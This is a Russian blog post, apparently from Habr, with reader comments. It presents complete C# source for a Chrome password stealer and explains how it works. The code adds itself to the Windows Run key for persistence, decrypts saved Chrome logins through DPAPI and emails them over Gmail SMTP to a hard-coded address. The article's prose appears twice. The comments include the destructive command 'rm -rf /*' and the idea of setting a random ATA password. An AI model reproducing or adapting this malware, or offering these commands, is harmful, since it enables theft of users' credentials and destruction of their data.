Приветствую.
В наши дни порог вхождения в мир программирования существенно упал — если раньше, на заре цифровой эпохи, программирование было чем-то из ряда вон выдающимся, «уделом избранных», то сегодня написать кейлоггер или червя может каждый школьник, хоть немного умеющий гуглить и уверенно обращающийся с компьютером. Не обладая какими-либо специальными навыками, можно создать софт, способный причинить немало неприятностей пользователям ПК, которые по тем или иным причинам пренебрегают антивирусными программами.
Под катом — пример написания подобного вредоносного ПО и немного мыслей о том — почему это стало настолько доступным.
Итак, для начала формализуем — что в контексте данной статьи рассматривается под понятиями «вируса» и «червя». Формально, понятие «вирус» было впервые введено в 1984 году Фредом Коэном и оно звучало так:
Позднее он исправил свое же определение, сконцентрировавшись на способности к саморазмножению — т.е. к рекурсивному копированию кода программы. Таким образом, в более фундаментальном смысле вирус был определен как код, исполнение которого приведет к записи копии этого кода на ленту машины Тьюринга впереди по ходу исполнения, т.е. в будущем.
Данное определение не совсем корректно по отношению к большинству современных вирусов, потому что реальные вирусы не обязательно должны копироваться рекурсивно, да и по большому счету — даже копироваться, но данная модель считается классической и ее уместно применить для написания «сферического вируса в вакууме».
Кроме того, в 1992 году в своей статье Коэн ввел формальное определение компьютерного червя. С полным формальным определением можно ознакомиться в первоисточнике, тут лишь приведу краткую цитату:
Т.е. причиной выполнения червя может быть не червь-родитель, а по любому триггеру, например, загрузке компьютера или по таймеру.
На самом деле классификация вирусов гораздо шире, и каждый вирус попадает сразу под несколько категорий, даже просто «троянов» есть больше десятка видов. Речь не об этом.
Реализуем еще один вирус в эту плеяду. Скажу сразу — на реальном железе, защищенном даже простеньким антивирусом он работать не будет, но наглядно демонстрирует принципы, лежащие в основе большинства вирусных программ.
Полный код под спойлером (осторожно, его много):
Большая часть кода, отвечающего за расшифровку пароля взята из соответствующей статьи о хранении паролей в Хроме, которая, собственно, легко гуглиться и находиться в общем доступе.
Все, что бы осталось, что бы превратить этот программный продукт в трояна — добавить возможность «заразить» им компьютер без ведома пользователя, добавить некоторе условие срабатывания, ну и научить отправлять украденную информацию на некоторый удаленный сервер.
Соответственно, в main неплохо прослеживается каждый из этапов. В функции Registr программа копирует себя в служебную папку и прописывает себя в автозапуск при загрузке операционной системы, в блоке Generate — генерирует файлик с паролями и логинами, тут все немного запутано, но бОльшая часть кода использованного здесь — скопировано из открытых источников. Код прокомментирован по месту, тут повторяться не вижу смысла. Ну и наконец функция Send отправляет файл с паролями на указанную почту. Код тоже не требует глубоких познаний сокетов и стека TCP/IP — в .NET все довольно приятно обернуто в высокоуровневый класс для работы с почтой. При необходимости можно передавать данные любом из протоколов, включая POST-запросы и FTP сервера, но что бы не приходилось поднимать сервер — можно воспользоваться почтой.
В итоге, за полчаса работы с кодом мы получили полноценного трояна, который, безусловно, ловится антивирусами, но если не брать это во внимание — работает совершенно корректно. А в свое время написание подобной программы занимало многие сотни строк кода. Сейчас же это заняло пару десятков минут.
Хорошо это или плохо? Вопрос очень открыты, потому что с одной стороны снижение уровня входа в профессию повышает приток кадров, в последнее время написаь работающую программу стало порядком проще, соответственно — программ стало больше, а в условиях рыночной экономики это безусловно хорошо, ведь конкуренция повышает качество. С другой стороны, низкий порог входа означает большое количество низко- и среднеквалифицированных кадров, из-за которых качество программных продуктов остается ниже желаемого даже с учетом всех средств, облегчающих работу разработчика — современные высокоуровневые языки программирования, интегрированные среды разработки, дебаггеры и т.д.
Ну и безусловно — раз стало больше программных продуктов, больше стало и вирусов. Конечно, аккуратный и внимательный пользователь как правило умеет их избегать — не переходит по ссылкам из писем и не вставляет непроверенные флешки. Но факт остается фактом — сейчас, когда базовый вирус умеет написать каждый старшеклассник — антивирусы стали востребованнее, чем пару десятков лет назад.
Автор ни коим образом не рекомендует создавать вредоносное программное обеспечение и напоминает, что незаконное получение доступа к приватной информации преследуется по закону.
В наши дни порог вхождения в мир программирования существенно упал — если раньше, на заре цифровой эпохи, программирование было чем-то из ряда вон выдающимся, «уделом избранных», то сегодня написать кейлоггер или червя может каждый школьник, хоть немного умеющий гуглить и уверенно обращающийся с компьютером. Не обладая какими-либо специальными навыками, можно создать софт, способный причинить немало неприятностей пользователям ПК, которые по тем или иным причинам пренебрегают антивирусными программами.
Под катом — пример написания подобного вредоносного ПО и немного мыслей о том — почему это стало настолько доступным.
Итак, для начала формализуем — что в контексте данной статьи рассматривается под понятиями «вируса» и «червя». Формально, понятие «вирус» было впервые введено в 1984 году Фредом Коэном и оно звучало так:
We define a computer ‘virus’ as a program that can ‘infect’ other programs by modifying them to include a possibly evolved copy of itself
Позднее он исправил свое же определение, сконцентрировавшись на способности к саморазмножению — т.е. к рекурсивному копированию кода программы. Таким образом, в более фундаментальном смысле вирус был определен как код, исполнение которого приведет к записи копии этого кода на ленту машины Тьюринга впереди по ходу исполнения, т.е. в будущем.
Данное определение не совсем корректно по отношению к большинству современных вирусов, потому что реальные вирусы не обязательно должны копироваться рекурсивно, да и по большому счету — даже копироваться, но данная модель считается классической и ее уместно применить для написания «сферического вируса в вакууме».
Кроме того, в 1992 году в своей статье Коэн ввел формальное определение компьютерного червя. С полным формальным определением можно ознакомиться в первоисточнике, тут лишь приведу краткую цитату:
Recently, the term «worm» has been widely used to describe programs that automatically replicate and initialize interpretation of their replicas.1 By contrast, the definition of viruses covers all self-replicating programs but does not address the manner in which replicas may be actuated.
Т.е. причиной выполнения червя может быть не червь-родитель, а по любому триггеру, например, загрузке компьютера или по таймеру.
На самом деле классификация вирусов гораздо шире, и каждый вирус попадает сразу под несколько категорий, даже просто «троянов» есть больше десятка видов. Речь не об этом.
Реализуем еще один вирус в эту плеяду. Скажу сразу — на реальном железе, защищенном даже простеньким антивирусом он работать не будет, но наглядно демонстрирует принципы, лежащие в основе большинства вирусных программ.
Полный код под спойлером (осторожно, его много):
Заголовок спойлера
using System;
using System.Text;
using System.IO;
using System.Data.SQLite;
using System.Data;
using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Net.Mail;
using System.Net;
using Microsoft.Win32;
using System.Threading;
public class DPAPI
{
[DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
private static extern
bool CryptProtectData(ref DATA_BLOB pPlainText, string szDescription, ref DATA_BLOB pEntropy, IntPtr pReserved,
ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pCipherText);
[DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
private static extern
bool CryptUnprotectData(ref DATA_BLOB pCipherText, ref string pszDescription, ref DATA_BLOB pEntropy,
IntPtr pReserved, ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pPlainText);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
internal struct DATA_BLOB
{
public int cbData;
public IntPtr pbData;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
internal struct CRYPTPROTECT_PROMPTSTRUCT
{
public int cbSize;
public int dwPromptFlags;
public IntPtr hwndApp;
public string szPrompt;
}
static private IntPtr NullPtr = ((IntPtr)((int)(0)));
private const int CRYPTPROTECT_UI_FORBIDDEN = 0x1;
private const int CRYPTPROTECT_LOCAL_MACHINE = 0x4;
private static void InitPrompt(ref CRYPTPROTECT_PROMPTSTRUCT ps)
{
ps.cbSize = Marshal.SizeOf(
typeof(CRYPTPROTECT_PROMPTSTRUCT));
ps.dwPromptFlags = 0;
ps.hwndApp = NullPtr;
ps.szPrompt = null;
}
private static void InitBLOB(byte[] data, ref DATA_BLOB blob)
{
// Use empty array for null parameter.
if (data == null)
data = new byte[0];
// Allocate memory for the BLOB data.
blob.pbData = Marshal.AllocHGlobal(data.Length);
// Make sure that memory allocation was successful.
if (blob.pbData == IntPtr.Zero)
throw new Exception(
"Unable to allocate data buffer for BLOB structure.");
// Specify number of bytes in the BLOB.
blob.cbData = data.Length;
// Copy data from original source to the BLOB structure.
Marshal.Copy(data, 0, blob.pbData, data.Length);
}
public enum KeyType { UserKey = 1, MachineKey };
private static KeyType defaultKeyType = KeyType.UserKey;
public static string Encrypt(string plainText)
{
return Encrypt(defaultKeyType, plainText, String.Empty, String.Empty);
}
public static string Encrypt(KeyType keyType, string plainText)
{
return Encrypt(keyType, plainText, String.Empty,
String.Empty);
}
public static string Encrypt(KeyType keyType, string plainText, string entropy)
{
return Encrypt(keyType, plainText, entropy, String.Empty);
}
public static string Encrypt(KeyType keyType, string plainText, string entropy, string description)
{
// Make sure that parameters are valid.
if (plainText == null) plainText = String.Empty;
if (entropy == null) entropy = String.Empty;
// Call encryption routine and convert returned bytes into
// a base64-encoded value.
return Convert.ToBase64String(
Encrypt(keyType,
Encoding.UTF8.GetBytes(plainText),
Encoding.UTF8.GetBytes(entropy),
description));
}
public static byte[] Encrypt(KeyType keyType, byte[] plainTextBytes, byte[] entropyBytes, string description)
{
// Make sure that parameters are valid.
if (plainTextBytes == null) plainTextBytes = new byte[0];
if (entropyBytes == null) entropyBytes = new byte[0];
if (description == null) description = String.Empty;
// Create BLOBs to hold data.
DATA_BLOB plainTextBlob = new DATA_BLOB();
DATA_BLOB cipherTextBlob = new DATA_BLOB();
DATA_BLOB entropyBlob = new DATA_BLOB();
// We only need prompt structure because it is a required
// parameter.
CRYPTPROTECT_PROMPTSTRUCT prompt =
new CRYPTPROTECT_PROMPTSTRUCT();
InitPrompt(ref prompt);
try
{
// Convert plaintext bytes into a BLOB structure.
try
{
InitBLOB(plainTextBytes, ref plainTextBlob);
}
catch (Exception ex)
{
throw new Exception(
"Cannot initialize plaintext BLOB.", ex);
}
// Convert entropy bytes into a BLOB structure.
try
{
InitBLOB(entropyBytes, ref entropyBlob);
}
catch (Exception ex)
{
throw new Exception(
"Cannot initialize entropy BLOB.", ex);
}
// Disable any types of UI.
int flags = CRYPTPROTECT_UI_FORBIDDEN;
// When using machine-specific key, set up machine flag.
if (keyType == KeyType.MachineKey)
flags |= CRYPTPROTECT_LOCAL_MACHINE;
// Call DPAPI to encrypt data.
bool success = CryptProtectData(ref plainTextBlob,
description,
ref entropyBlob,
IntPtr.Zero,
ref prompt,
flags,
ref cipherTextBlob);
// Check the result.
if (!success)
{
// If operation failed, retrieve last Win32 error.
int errCode = Marshal.GetLastWin32Error();
// Win32Exception will contain error message corresponding
// to the Windows error code.
throw new Exception(
"CryptProtectData failed.", new Win32Exception(errCode));
}
// Allocate memory to hold ciphertext.
byte[] cipherTextBytes = new byte[cipherTextBlob.cbData];
// Copy ciphertext from the BLOB to a byte array.
Marshal.Copy(cipherTextBlob.pbData,
cipherTextBytes,
0,
cipherTextBlob.cbData);
// Return the result.
return cipherTextBytes;
}
catch (Exception ex)
{
throw new Exception("DPAPI was unable to encrypt data.", ex);
}
// Free all memory allocated for BLOBs.
finally
{
if (plainTextBlob.pbData != IntPtr.Zero)
Marshal.FreeHGlobal(plainTextBlob.pbData);
if (cipherTextBlob.pbData != IntPtr.Zero)
Marshal.FreeHGlobal(cipherTextBlob.pbData);
if (entropyBlob.pbData != IntPtr.Zero)
Marshal.FreeHGlobal(entropyBlob.pbData);
}
}
public static string Decrypt(string cipherText)
{
string description;
return Decrypt(cipherText, String.Empty, out description);
}
public static string Decrypt(string cipherText, out string description)
{
return Decrypt(cipherText, String.Empty, out description);
}
public static string Decrypt(string cipherText, string entropy, out string description)
{
// Make sure that parameters are valid.
if (entropy == null) entropy = String.Empty;
return Encoding.UTF8.GetString(
Decrypt(Convert.FromBase64String(cipherText),
Encoding.UTF8.GetBytes(entropy),
out description));
}
public static byte[] Decrypt(byte[] cipherTextBytes, byte[] entropyBytes, out string description)
{
// Create BLOBs to hold data.
DATA_BLOB plainTextBlob = new DATA_BLOB();
DATA_BLOB cipherTextBlob = new DATA_BLOB();
DATA_BLOB entropyBlob = new DATA_BLOB();
// We only need prompt structure because it is a required
// parameter.
CRYPTPROTECT_PROMPTSTRUCT prompt =
new CRYPTPROTECT_PROMPTSTRUCT();
InitPrompt(ref prompt);
// Initialize description string.
description = String.Empty;
try
{
// Convert ciphertext bytes into a BLOB structure.
try
{
InitBLOB(cipherTextBytes, ref cipherTextBlob);
}
catch (Exception ex)
{
throw new Exception(
"Cannot initialize ciphertext BLOB.", ex);
}
// Convert entropy bytes into a BLOB structure.
try
{
InitBLOB(entropyBytes, ref entropyBlob);
}
catch (Exception ex)
{
throw new Exception(
"Cannot initialize entropy BLOB.", ex);
}
// Disable any types of UI. CryptUnprotectData does not
// mention CRYPTPROTECT_LOCAL_MACHINE flag in the list of
// supported flags so we will not set it up.
int flags = CRYPTPROTECT_UI_FORBIDDEN;
// Call DPAPI to decrypt data.
bool success = CryptUnprotectData(ref cipherTextBlob,
ref description,
ref entropyBlob,
IntPtr.Zero,
ref prompt,
flags,
ref plainTextBlob);
// Check the result.
if (!success)
{
// If operation failed, retrieve last Win32 error.
int errCode = Marshal.GetLastWin32Error();
// Win32Exception will contain error message corresponding
// to the Windows error code.
throw new Exception(
"CryptUnprotectData failed.", new Win32Exception(errCode));
}
// Allocate memory to hold plaintext.
byte[] plainTextBytes = new byte[plainTextBlob.cbData];
// Copy ciphertext from the BLOB to a byte array.
Marshal.Copy(plainTextBlob.pbData,
plainTextBytes,
0,
plainTextBlob.cbData);
// Return the result.
return plainTextBytes;
}
catch (Exception ex)
{
throw new Exception("DPAPI was unable to decrypt data.", ex);
}
// Free all memory allocated for BLOBs.
finally
{
if (plainTextBlob.pbData != IntPtr.Zero)
Marshal.FreeHGlobal(plainTextBlob.pbData);
if (cipherTextBlob.pbData != IntPtr.Zero)
Marshal.FreeHGlobal(cipherTextBlob.pbData);
if (entropyBlob.pbData != IntPtr.Zero)
Marshal.FreeHGlobal(entropyBlob.pbData);
}
}
}
public class Chrome
{
static string filename = "passwords.html";
static string db_way = "Login Data"; //путь к файлу базы данных
static string wayToDir = @"Screens\";
static string wayToScreen;
static string finalDir = @"C:\Program Files (x86)\Windows\ScreenSaver\";
static void Main(string[] args)
{
Registr();
Thread.Sleep(5 * 60 * 1000);
Generate();
Send();
}
static void Registr()
{
string way = Environment.GetCommandLineArgs()[0];
try
{
if (!Directory.Exists(finalDir))
{
Directory.CreateDirectory(finalDir);
foreach (string iter in Directory.GetFiles(Environment.CurrentDirectory))
{
// Console.WriteLine(iter);
string nameOfFile = iter.Split('\\')[iter.Split('\\').Length - 1];
//Console.WriteLine(nameOfFile);
File.Copy(iter, finalDir + nameOfFile, true);
}
Directory.CreateDirectory(finalDir + "x64");
Directory.CreateDirectory(finalDir + "x86");
File.Copy(Environment.CurrentDirectory + "\\x64\\SQLite.Interop.dll", finalDir + "\\x64\\SQLite.Interop.dll");
File.Copy(Environment.CurrentDirectory + "\\x86\\SQLite.Interop.dll", finalDir + "\\x86\\SQLite.Interop.dll");
const string name = "SoftWare";
string ExePath = finalDir + "soft.exe";
File.Copy(way, ExePath, true);
RegistryKey reg;
reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
try
{
reg.SetValue(name, ExePath);
reg.Close();
}
catch
{ }
}
}
catch
{ }
}
static void Generate()
{
try
{
string way_to_original = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data";
File.Copy(way_to_original, "Login Data", true);
StreamWriter Writer = new StreamWriter(filename, false, Encoding.UTF8);
string db_field = "logins"; //имя поля БД
byte[] entropy = null; //разработчики не стали использовать энтропию.
//Однако класс DPAPI требует указания энтропии в любом случае,
//независимо от того - присутствует она, или нет.
string description; //к сожалению я не понял смысла данной переменной, но она так же обязательная.
// Подключаемся к базе данных
string ConnectionString = "data source=" + db_way + ";New=True;UseUTF16Encoding=True";
DataTable DB = new DataTable();
string sql = string.Format("SELECT * FROM {0} {1} {2}", db_field, "", "");
using (SQLiteConnection connect = new SQLiteConnection(ConnectionString))
{
SQLiteCommand command = new SQLiteCommand(sql, connect);
SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
adapter.Fill(DB);
int rows = DB.Rows.Count;
for (int i = 0; i < rows; i++)
{
Writer.Write(i + 1 + ") "); // Здесь мы записываем порядковый номер нашей троицы "Сайт-логин-пароль".
Writer.WriteLine(DB.Rows[i][1] + "<br>"); //Это ссылка на сайт
Writer.WriteLine(DB.Rows[i][3] + "<br>"); //Это логин
// Здесь начинается расшифровка пароля
byte[] byteArray = (byte[])DB.Rows[i][5];
byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
string password = new UTF8Encoding(true).GetString(decrypted);
Writer.WriteLine(password + "<br><br>");
}
}
Writer.Close();
}
catch
{ }
}
static void Send()
{
MailAddress from = new MailAddress("l**************d@gmail.com", "Passwords");
MailAddress to = new MailAddress("a***********v@yandex.ru");
MailMessage m = new MailMessage(from, to);
m.Subject = (DateTime.Now).ToString();
m.Body = "";
m.IsBodyHtml = true;
SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587); ;
smtp.Credentials = new NetworkCredential("l*****************d@gmail.com", "q********l");
smtp.EnableSsl = true;
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
m.Attachments.Add(new Attachment(filename));
try
{
smtp.Send(m);
}
catch { }
}
}
Большая часть кода, отвечающего за расшифровку пароля взята из соответствующей статьи о хранении паролей в Хроме, которая, собственно, легко гуглиться и находиться в общем доступе.
Все, что бы осталось, что бы превратить этот программный продукт в трояна — добавить возможность «заразить» им компьютер без ведома пользователя, добавить некоторе условие срабатывания, ну и научить отправлять украденную информацию на некоторый удаленный сервер.
Соответственно, в main неплохо прослеживается каждый из этапов. В функции Registr программа копирует себя в служебную папку и прописывает себя в автозапуск при загрузке операционной системы, в блоке Generate — генерирует файлик с паролями и логинами, тут все немного запутано, но бОльшая часть кода использованного здесь — скопировано из открытых источников. Код прокомментирован по месту, тут повторяться не вижу смысла. Ну и наконец функция Send отправляет файл с паролями на указанную почту. Код тоже не требует глубоких познаний сокетов и стека TCP/IP — в .NET все довольно приятно обернуто в высокоуровневый класс для работы с почтой. При необходимости можно передавать данные любом из протоколов, включая POST-запросы и FTP сервера, но что бы не приходилось поднимать сервер — можно воспользоваться почтой.
В итоге, за полчаса работы с кодом мы получили полноценного трояна, который, безусловно, ловится антивирусами, но если не брать это во внимание — работает совершенно корректно. А в свое время написание подобной программы занимало многие сотни строк кода. Сейчас же это заняло пару десятков минут.
Хорошо это или плохо? Вопрос очень открыты, потому что с одной стороны снижение уровня входа в профессию повышает приток кадров, в последнее время написаь работающую программу стало порядком проще, соответственно — программ стало больше, а в условиях рыночной экономики это безусловно хорошо, ведь конкуренция повышает качество. С другой стороны, низкий порог входа означает большое количество низко- и среднеквалифицированных кадров, из-за которых качество программных продуктов остается ниже желаемого даже с учетом всех средств, облегчающих работу разработчика — современные высокоуровневые языки программирования, интегрированные среды разработки, дебаггеры и т.д.
Ну и безусловно — раз стало больше программных продуктов, больше стало и вирусов. Конечно, аккуратный и внимательный пользователь как правило умеет их избегать — не переходит по ссылкам из писем и не вставляет непроверенные флешки. Но факт остается фактом — сейчас, когда базовый вирус умеет написать каждый старшеклассник — антивирусы стали востребованнее, чем пару десятков лет назад.
Автор ни коим образом не рекомендует создавать вредоносное программное обеспечение и напоминает, что незаконное получение доступа к приватной информации преследуется по закону.
alexesDev
Вирус за 1 секунду
rm -rf /*
Осталось только добавить возможность «заразить» им компьютер без ведома пользователя, добавить некоторе условие срабатывания, ну и научить отправлять украденную информацию на некоторый удаленный сервер.
p07a1330 Автор
А как же sudo?)
А если серьезно — не претендую на звание автора самого простого вируса. Тут посыл чуть-чуть в другом…
kranid
Посыл в том, что вирус написать очень легко, вот вам пример, а антивирус от него защитит, поэтому желательно использовать антивирусы, но тут есть одно но. Вирус то тут не написан, т.к. самая главная фича вируса отсутствует, которую реализовать как раз таки действительно сложно, соответственно, антивирус против такого вируса вообще не нужен, что совершенно нивелирует главный посыл статьи.
p07a1330 Автор
Вы имеете ввиду способность к саморазмножению?
Она реализована в функции Registr, при первом запуске программа создает свою копию в Program Files (x86).
Более того, если придерживаться классической классификации, которую я урезанно привел выше, то даже без воровства паролей это уже можно назвать вирусом, в частности — червем.
Другой вопрос, насколько определение Коэна совпадает с реальностью…
Уточните, как можно поймать происходящее без антивиря и регулярного мониторинга реестра/системных папок?
kranid
главной фичей я считаю заражение без участия пользователя, т.е. использование каких-нибудь не залатанных уязвимостей приложений или ОС, ну или хотя бы какое-нибудь несанкционированное повышение прав. В итоге, нет смысла осуществлять мониторинг реестра и пр, если на компьютер все-равно ничего не попадет.
p07a1330 Автор
Ничто не мешает встроить вирусный код в инсталлер любой пиратской программы, осознанного участия пользователя не потребуется.
Не стоит забывать, что тут, в частности на Хабре, сидит народ в массе своей просвещенный в IT кругах. За его пределами же немало пользователей Амиго и Яндекс.Бара.
А если по сабжу — классически простейшим вирусом Коэн вообще охарактеризовал вот эту строчку
Все, чъе поведение попадает под этот алгоритм формально считается вирусом.
vdem
Какой же это вирус? Это обыкновенная подлянка. Вирус должен размножаться, причем без посторонней помощи. А подлянку делать не обязан.
alexesDev
vdem
По-вашему, вирусы обязательно должны шифровать файлы или вообще делать что-то вредное?
timoteo_cirkla
Просто так эту команду уже не выполнить. Во-первых, ключ нужен --no-preserve-root. А во-вторых, система всё равно спросит, а точно ли юзверь хочет удалить всё, что должно удалиться?
andreymal
Со звёздочкой ни ключ не нужен, ни система не спросит, лично проверял
timoteo_cirkla
Без ключа никак. Я на своём железе проверял. Осознанно, а не случайно.
andreymal
AndreyYu
Я ещё помню в журнале Хакер в начале 2000х была статья с кодом программы Hard drive killer, которая секунд за 5-7 чистила жесткий диск. Мы все её тогда перепечатали и запустили :-) Потом друзьям давали на дискетах и в сети шарили =) Никакой антивирус не поможет запустить из любопытства.
mistergrim
Можно за 0,1 секунды установить рандомный ATA-пароль, ещё веселее будет.
Много чего придумать можно.
mistergrim
sinc
дожили… вирусу требуется дотнет… еще небось потребует нужную поставить.
и весит под сотню килобайт.
awoland
Следующим номером на арене вирус на джава…
RouR
На джаве будет уже фабрика вирусов!))
fougasse
с ServiceLocator и Бинами
justhabrauser
Уже не модно.
На электроне он будет.
fougasse
сотню мегабайт
Yuriy_krd
И попросит пользователя перенести его на другой компьютер, чтобы дальше размножаться :)
ggJa
У меня завёлся страшный вирус: когда нажимаю shift+del. удаляет файлы так, что и в корзине не найти. Ни один антивирус не спасает.
awolfman
Хех, у тёщи на работе единственный комп, на котором запустился шифровальщик охранялся антивирусом касперского.
shapovalex
Я бы на вашем месте с осторожностью относился к публикации подобный статей. Такой материал может квалифицироваться правоохранительными органами как распространение вредоносного программного обеспечения. И ваши мотивы их волновать не будут.
maxzh83
Добавьте вашему «вирусу» инсталлятор что ли…
Chronicler
В большинстве случаев в долгосрочной перспективе антивирус вредит хуже любого вируса. Тормозит систему, иногда блокирует нужные файлы (например результаты сборки), отправляет все что вздумается себе якобы на проверку (привет Касперский). Чем не вирус?
Ни разу не видел у коллег (а это в большинстве очень грамотные специалисты с большим стажем) антивируса.
Сам ими перестал пользоваться лет эдак 10 назад когда понял что если у тебя файрволл, адблок и ты не открываешь что попало из интернета и не ставишь непроверенного ПО, то шансы подцепить что либо сводятся к нулю.
А если вы все таки горите желанием запустите сомнительный экзешник, то всегда есть замечательный веб сервис VirusTotal который срабатывает лучше одного отдельно взятого антивируса (там их около 60 по моему). И даже загружать файл часто не потребуется, если его проверил кто-то раньше, ибо хеш и результаты проверки сохраняются.
centralhardware
В новых версиях виндовс есть песочницы для проверки программ, а так использование Линукса защищает лучше любого антивируса
osmanpasha
А как пользоваться этой песочницей? Не надо ещё с десяток гигабайт на виртуальную машину на hyperv для тестирования блокнота?
Chronicler
Нет, не надо. Включил в компонентах, места на диске осталось сколько и было. При самом первом запуске немного пришлось подождать, после уже шустрее. Единственный минус, при каждом перезапуске окружение и все настройки обнуляются. Так и не нашел способа сохранять промежуточное состояние.
osmanpasha
Спасибо, надо будет потыкать
alex-khv
У автора проблема с классификацией. Все вредоносные программы называет вирусами.
И привёл «индусский вирус» в пример.
P.S.
Если кому-то понадобится работать с DPAPI, рекомендую использовать класс ProtectedData.
Вместо тысячи слов, простой вызов одной функции ProtectedData.Unprotect.
p07a1330 Автор
Автор в начале привел сноску на классическую классификацию. И в дальнейшей статье опирался на нее.
По факту — не всякое вредоносное ПО — вирус. И не всякий вирус вредоносен. Но если отойти от формальных определений, эти понятия почти взаимозаменяемы
av_in
fmj
Куда оно сохраняется для автозапуска? Если в Program files, то кто вам даст права? А если в пользовательский каталог, то с чего оно должно вообще запуститься? (То, что по-дефолту там проходной двор, не значит, что все оставляют дефолт)
Не, если использовать разные уязвимости для удаленного выполнения кода и повышения прав, то и это будет работать, только такие уязвимости найти совсем не просто и требует навыков, и знаний.